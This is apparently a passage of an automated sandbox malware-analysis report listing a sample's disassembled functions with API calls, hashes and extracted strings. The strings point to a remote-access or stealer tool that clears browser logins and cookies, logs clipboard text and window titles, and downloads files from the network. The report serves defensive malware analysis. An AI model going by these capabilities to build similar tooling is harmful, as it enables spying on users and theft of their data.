                                                                                                                              APIs
                                                                                                                              • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressHandleModuleProc
                                                                                                                              • String ID: GetCursorInfo$User32.dll
                                                                                                                              • API String ID: 1646373207-2714051624
                                                                                                                              • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                                                                                                              • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                                                                                                                              • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                                                                                                              • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                                                                                                                              Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • LoadLibraryA.KERNEL32(User32.dll,GetLastInputInfo), ref: 004014B9
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressLibraryLoadProc
                                                                                                                              • String ID: GetLastInputInfo$User32.dll
                                                                                                                              • API String ID: 2574300362-1519888992
                                                                                                                              • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                                                                                                              • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                                                                                                                              • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                                                                                                              • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                                                                                                                              Function 00456C1A Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 269201875-0
                                                                                                                              • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                                                                                                                              • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                                                                                                                              • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                                                                                                                              • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                                                                                                                              Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              • Cleared browsers logins and cookies., xrefs: 0040C0F5
                                                                                                                              • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Sleep
                                                                                                                              • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                                                              • API String ID: 3472027048-1236744412
                                                                                                                              • Opcode ID: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                                                                                                              • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                                                                                                                              • Opcode Fuzzy Hash: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                                                                                                              • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                                                                                                                              Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041C551: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041C561
                                                                                                                                • Part of subcall function 0041C551: GetWindowTextLengthW.USER32(00000000), ref: 0041C56A
                                                                                                                                • Part of subcall function 0041C551: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041C594
                                                                                                                              • Sleep.KERNEL32(000001F4), ref: 0040A573
                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0040A5FD
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Window$SleepText$ForegroundLength
                                                                                                                              • String ID: [ $ ]
                                                                                                                              • API String ID: 3309952895-93608704
                                                                                                                              • Opcode ID: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                                                                                                              • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                                                                                                                              • Opcode Fuzzy Hash: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                                                                                                              • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                                                                                                                              Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                                                                                                              • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                                                                                                                              • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                                                                                                              • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                                                                                                                              Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                                                                                                                              • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                                                                                                                              • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                                                                                                                              • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                                                                                                                              Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                                                                                                                              • GetLastError.KERNEL32(?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                                                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LibraryLoad$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3177248105-0
                                                                                                                              • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                                                                                                              • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                                                                                                                              • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                                                                                                              • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                                                                                                                              Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4B2
                                                                                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4D7
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,0040412F,00465E74), ref: 0041C4E5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseCreateHandleReadSize
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3919263394-0
                                                                                                                              • Opcode ID: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                                                                                                              • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                                                                                                                              • Opcode Fuzzy Hash: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                                                                                                              • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                                                                                                                              Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                                                              • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C233
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C23B
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandleOpenProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 39102293-0
                                                                                                                              • Opcode ID: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                                                                                                              • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                                                                                                                              • Opcode Fuzzy Hash: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                                                                                                              • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                                                                                                                              Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                                                                                                                • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                                                                                                                              • _UnwindNestedFrames.LIBCMT ref: 00439891
                                                                                                                              • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                                                                                                                              • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2633735394-0
                                                                                                                              • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                                                              • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                                                                                                                              • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                                                              • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                                                                                                                              Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetSystemMetrics.USER32(0000004C), ref: 004193F0
                                                                                                                              • GetSystemMetrics.USER32(0000004D), ref: 004193F6
                                                                                                                              • GetSystemMetrics.USER32(0000004E), ref: 004193FC
                                                                                                                              • GetSystemMetrics.USER32(0000004F), ref: 00419402
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: MetricsSystem
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4116985748-0
                                                                                                                              • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                                                                                              • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                                                                                                                              • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                                                                                              • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                                                                                                                              Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                                                                                                                              • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                                                                                                                              • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                                                                                                                                • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                                                                                                                              • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1761009282-0
                                                                                                                              • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                                                              • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                                                                                                                              • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                                                              • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                                                                                                                              Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorHandling__start
                                                                                                                              • String ID: pow
                                                                                                                              • API String ID: 3213639722-2276729525
                                                                                                                              • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                                                                                                              • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                                                                                                                              • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                                                                                                              • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                                                                                                                              Function 00449E3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(000000FF,00000000,00000006,00000001,?,?,00000000,?,00000000,?,?,00000000,00000006,?,?,?), ref: 00449F0F
                                                                                                                              • GetLastError.KERNEL32 ref: 00449F2B
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharErrorLastMultiWide
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 203985260-263838557
                                                                                                                              • Opcode ID: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
                                                                                                                              • Instruction ID: 5218313022fb824330162c1b3e1e252a07855a0508c927524b2412b0d5c8e50b
                                                                                                                              • Opcode Fuzzy Hash: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
                                                                                                                              • Instruction Fuzzy Hash: A531F831600205EBEB21EF56C845BAB77A8DF55711F24416BF9048B3D1DB38CD41E7A9
                                                                                                                              Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 0040B797
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Init_thread_footer__onexit
                                                                                                                              • String ID: [End of clipboard]$[Text copied to clipboard]
                                                                                                                              • API String ID: 1881088180-3686566968
                                                                                                                              • Opcode ID: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                                                                                                              • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                                                                                                                              • Opcode Fuzzy Hash: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                                                                                                              • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                                                                                                                              Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetACP.KERNEL32(?,20001004,?,00000002), ref: 00451C12
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: ACP$OCP
                                                                                                                              • API String ID: 0-711371036
                                                                                                                              • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                                                                                                              • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                                                                                                                              • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                                                                                                              • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                                                                                                                              Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB6E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B7DB
                                                                                                                              • GetLastError.KERNEL32 ref: 0044B804
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 442123175-263838557
                                                                                                                              • Opcode ID: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                                                                                                              • Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
                                                                                                                              • Opcode Fuzzy Hash: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                                                                                                              • Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68
                                                                                                                              Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteFile.KERNEL32(?,?,?,?,00000000,FF8BC35D,00000000,?,PkGNG,0044BB8E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B6ED
                                                                                                                              • GetLastError.KERNEL32 ref: 0044B716
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 442123175-263838557
                                                                                                                              • Opcode ID: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                                                                                                              • Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
                                                                                                                              • Opcode Fuzzy Hash: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                                                                                                              • Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64
                                                                                                                              Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                                                                                                                              Strings
                                                                                                                              • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LocalTime
                                                                                                                              • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                              • API String ID: 481472006-1507639952
                                                                                                                              • Opcode ID: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
                                                                                                                              • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                                                                                                                              • Opcode Fuzzy Hash: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
                                                                                                                              • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                                                                                                                              Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Sleep.KERNEL32 ref: 00416640
                                                                                                                              • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DownloadFileSleep
                                                                                                                              • String ID: !D@
                                                                                                                              • API String ID: 1931167962-604454484
